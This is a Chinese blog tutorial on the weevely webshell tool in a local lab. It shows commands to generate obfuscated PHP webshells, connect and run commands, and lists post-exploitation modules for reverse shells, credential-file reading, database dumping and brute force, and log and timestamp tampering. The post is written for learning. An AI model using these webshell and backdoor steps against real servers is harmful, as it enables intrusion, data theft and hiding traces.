记两个webshell管理和生成工具的学习(一)

前言

简单的记录一下webacoo和weevely的使用学习,本文是weevely。本文的环境都是在自己的机器上搭的。工具是好工具,切勿滥用。

初探

这是一个webshell生成和管理工具。类似于菜刀。

  1. 创建webshell:在当前路径下创建一个密码为passwd,文件名为shell.php的webshell。
# 模板:weevely generate <password> <path>
weevely generate passwd ./shell.php
  1. 连接webshell:将webshell上传至目标服务器,明确路径,然后连接。
# 模板:weevely <url> <password> [cmd]
# 连接木马
weevely http://127.0.0.1/shell.php passwd
#执行结果:
notroot@kali:~$ weevely http://127.0.0.1/shell.php passwd
[+] weevely 4.0.1
[+] Target:     127.0.0.1
[+] Session:    /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> 
  1. 执行命令。
weevely> ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
www-data@kali:/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@kali:/var/www/html $ 
  1. 结束。weevely一次简单的使用就完成啦。

进一步探索

使用man weevely,会发现工具不只简单的链接一下木马,最引人注目的是它有一些模块可以使用,man一下都能看到。我们先从最初始的地方开始。查看帮助文档。执行结果如下。

notroot@kali:~$ weevely -h
usage: weevely [-h] {terminal,session,generate} ...
positional arguments:
  {terminal,session,generate}
    terminal            Run terminal or command on the target
    session             Recover an existing session
    generate            Generate new agent
optional arguments:
  -h, --help            show this help message and exit

阅读发现weevely有三个参数,分别是terminal、session、generate。

参数

  1. terminal,在目标上运行一个终端或一条命令。用法如下:
# 用法:weevely terminal [-h] url password [cmd]
# 使用weevely terminal -h 可以查看terminal参数的用法
# 如果需要运行一个终端
notroot@kali:~$ weevely terminal http://127.0.0.1/shell.php passwd
[+] weevely 4.0.1
[+] Target:     www-data@kali:/var/www/html
# 记住这个session路径,一会儿有用
[+] Session:    /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
[+] Shell:      System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> 
# 如果只执行ls命令,执行完成后退出
notroot@kali:~$ weevely terminal http://127.0.0.1/shell.php passwd ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
notroot@kali:~$
  1. session,恢复一个已经存在的会话。这里会用2中的路径,每次连接都会生成一个会话文件,要恢复连接的话直接读取该文件就行。用法如下:
# 用法:weevely session [-h] path [cmd]
# 使用weevely session -h 可以查看terminal参数的用法
# path就是存在的会话文件路径,cmd是需要执行的命令,执行完毕后退出。
# 恢复会话
notroot@kali:~$ weevely session /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
# 恢复会话只执行ls命令
notroot@kali:~$ weevely session /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
notroot@kali:~$ 
  1. generate,生成webshell,这个参数的部分用法在“初探”里已经展示过了,但这并没有完,因为它还有两个可选参数,分别是-obfuscator-agent。用法如下:
# 用法:weevely generate [-h] [-obfuscator {obfusc1_php,cleartext1_php}]
#                       [-agent {obfpost_php}]
#                       password path

-obfuscator代表混淆方式,有两种方式,一种是obfusc1_php,一种是cleartext1_php,默认使用obfusc1_php方式加密,cleartext1_php就是明文,不混淆。默认是混淆的,最神奇的地方是它每次混淆产生的代码都是不一样的。这个可以自己去尝试一下。
-agent表示通信的方式,即post方式和get方式。默认是post方式,而且看了下代码,只有post模板,所以只能选这个,因此这个参数基本都不用。这一部分可以看看工具源码,特别是混淆的部分,或许可以自己开发一下。这两个参数使用实例如下:

# 使用混淆
weevely generate -obfuscator obfusc1_php passwd ./shell.php
# 不使用混淆
weevely generate -obfuscator cleartext1_php passwd ./shell.php
# 使用post方式通信
weevely generate -agent obfpost_php passwd ./shell.php
# 使用混淆和post通信方式
weevely generate -obfuscator obfusc1_php -agent obfpost_php passwd ./shell.php

模块的使用

  1. 查看模块。连接完成后,该工具还有一些模块,使用起来很方便。查看有哪些模块很简单,使用完连接命令后,直接输入help或者:help就可以看到有哪些模块。
www-data@kali:/var/www/html $ help
www-data@kali:/var/www/html $ :help
  1. 模块功能。在1中执行完help命令后,可以看到下面的模块,每一个模块对应的功能如下:
模块名功能
:system_procs列出系统正在运行的进程
:system_info列出系统信息
:system_extensions列出php和web服务器(中间件)的扩展
:audit_filesystem审计文件系统,寻找当前权限为可写、可读、可执行的文件和目录
:audit_phpconf审计php的基本(配置)信息
:audit_suidsgid寻找有suid和sgid的文件
:audit_disablefunctionbypass绕过功能禁用限制通过mod_cgi和.htaccess。这个是硬翻译,我也不知道咋用
:audit_etcpasswd用不同的方法读取/etc/passwd。当直接读取无法访问时,可以使用该模块
:sql_console执行一个sql查询或者运行一个sql控制台。sql的建议看看官方文档,我的环境里弄不出来
:sql_dump获取数据库转储
:bruteforce_sql爆破数据库
:backdoor_tcp启动一个正向TCP连接
:backdoor_reversetcp启动一个反向TCP连接(反弹shell)
:net_ifconfig获取网络接口地址
:net_curl执行一个类似于curl的http请求,简单理解就是curl怎么用,这个模块就怎么用
:net_proxy在本地运行一个http或者https代理
:net_scanTCP端口扫描
:net_phpproxy在被控服务器上安装一个php代理
:net_mail发送邮件
:shell_php执行一段php代码,代码格式为’echo aaa;’
:shell_su以管理员身份执行命令,这需要知道管理员的密码
:shell_sh执行一个系统命令
:file_download从远程系统下载一个文件到本地
:file_check获取文件属性和权限
:file_webdownload从url下载一个文件到被控端
:file_cd改变当前的工作目录,简单理解改变目录,和cd命令一样
:file_read读取被控端的文件
:file_enum检查路径列表的存在性和权限
:file_ls列出目录内容,和ls一样
:file_bzip2压缩或者解压bzip2文件
:file_gzip压缩或解压gzip文件
:file_find寻找文件,和find命令类似
:file_edit在本地编辑器编辑远程文件(被控端文件)
:file_zip解压或压缩zip文件
:file_clearlog从文件中删除字符串
:file_tar压缩或解压tar文件
:file_upload2web上传文件到web目录,并自动获取文件路径(URL)
:file_rm删除远程文件
:file_touch更改文件时间戳
:file_upload上传文件到远程文件系统
:file_grep内容匹配,与grep类似
:file_cp复制一个文件,与cp类似
:file_mount使用HTTPfs挂载远程文件系统
  1. 模块使用示例。具体怎么使用慢慢探索吧。有的模块执行需要参数,在模块后加一个-h即可查看。几个模块使用示例如下:
	# 查看参数
www-data@kali:/var/www/html $ :backdoor_tcp -h
usage: backdoor_tcp [-h] [-shell SHELL] [-no-autonnect] [-vector {netcat,netcat_bsd,python_pty,socat}] port
Spawn a shell on a TCP port.
positional arguments:
  port                  Port to spawn
optional arguments:
  -h, --help            show this help message and exit
  -shell SHELL          Specify shell
  -no-autonnect         Skip autoconnect
  -vector {netcat,netcat_bsd,python_pty,socat}
# 查看系统信息
www-data@kali:/var/www/html $ :system_info
# 读取index.html
www-data@kali:/var/www/html $ :file_read
# 查看文件属性或权限(查看index.html文件是否存在)
www-data@kali:/var/www/html $ :file_check index.html exists

最后

还是那句话,仅学习使用,文中的环境是自己在虚拟机上搭的,工具是好工具,切勿滥用。如果想拿人家的服务器开刀的话,请多学习学习刑法、网络安全法等相关法律

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值